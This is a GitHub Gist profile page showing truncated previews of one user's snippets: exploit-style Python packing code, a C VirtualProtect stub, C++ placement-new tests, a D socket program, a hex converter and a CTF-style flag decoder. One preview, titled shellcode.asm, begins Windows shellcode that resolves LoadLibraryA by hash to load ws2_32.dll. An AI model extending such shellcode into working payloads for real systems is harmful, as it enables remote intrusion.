Skip to content

Instantly share code, notes, and snippets.

View segfo's full-sized avatar

segfo segfo

View GitHub Profile
#!/usr/bin/python
#coding: utf-8
import struct
import os
p32 = lambda x:struct.pack("<l",x)
addr = 0x00514E88
fixedMemory = p32(addr)
#include<stdio.h>
#include<stdlib.h>
#include<Windows.h>
unsigned char globalValue[0x400] = { 0 };
#define MEMSTR ("VirtualProtect.\n")
#define VALLOC_SIZE 0x2000
void somewhere() {
@segfo
segfo / shellcode_difference.asm
Last active December 12, 2015 06:09
shellcode.asm
main:
 ; LoadLibrary("ws2_32.dll") をする
mov ax,0x6c6c
movzx eax,ax
push eax
push 0x642e3233
push 0x5f327377
push esp ; ws2_32.dll
push 0xec0e4e8e ; LoadLibraryA
call api_call
#include<iostream>
#include<string>
#include"TestClass.h"
using namespace std;
int main() {
static char buf[sizeof(TestClass)*10];
cout << sizeof(TestClass) << endl;
TestClass *t1 = new(buf) TestClass("AAAAAAA");
#pragma once
class TestClass
{
public:
TestClass();
TestClass(char *s);
~TestClass();
void Print();
private:
char* s = nullptr;
#include "TestClass.h"
#include<iostream>
using namespace std;
TestClass::TestClass(){}
TestClass::TestClass(char *s)
{
this->s = s;
#include <iostream>
#include<string.h>
using namespace std;
int main()
{
// これはあくまでも一例、C++ではString型を使うこと。
// Cの書き方とC++の書き方を混ぜるのはあまり良くない。
int v = 12; // プログラム的に変わる変数v(variable)
import std.stdio;
import std.string;
import std.socket;
import std.socketstream;
import core.thread;
import core.exception;
import core.sync.condition;
import core.sync.mutex;
// Queueテンプレートの定義
import sys
import string
if (len(sys.argv)<2):
print "missing arguments."
exit()
f_in=open(sys.argv[1],"rb")
f_out=open("tanka.bin","wb")
for n in f_in.read().split(): f_out.write(chr(int(n,16)))
#include<stdio.h>
char flag[]={"Itofrjxb2`..c.2.6031]g6b1gg0^)b11cb^^-]z"};
int main(){
int eax,edx,ecx;
int tick=0;
int i;
for(tick=0;tick<3;){ // IRQ 0 interrupt.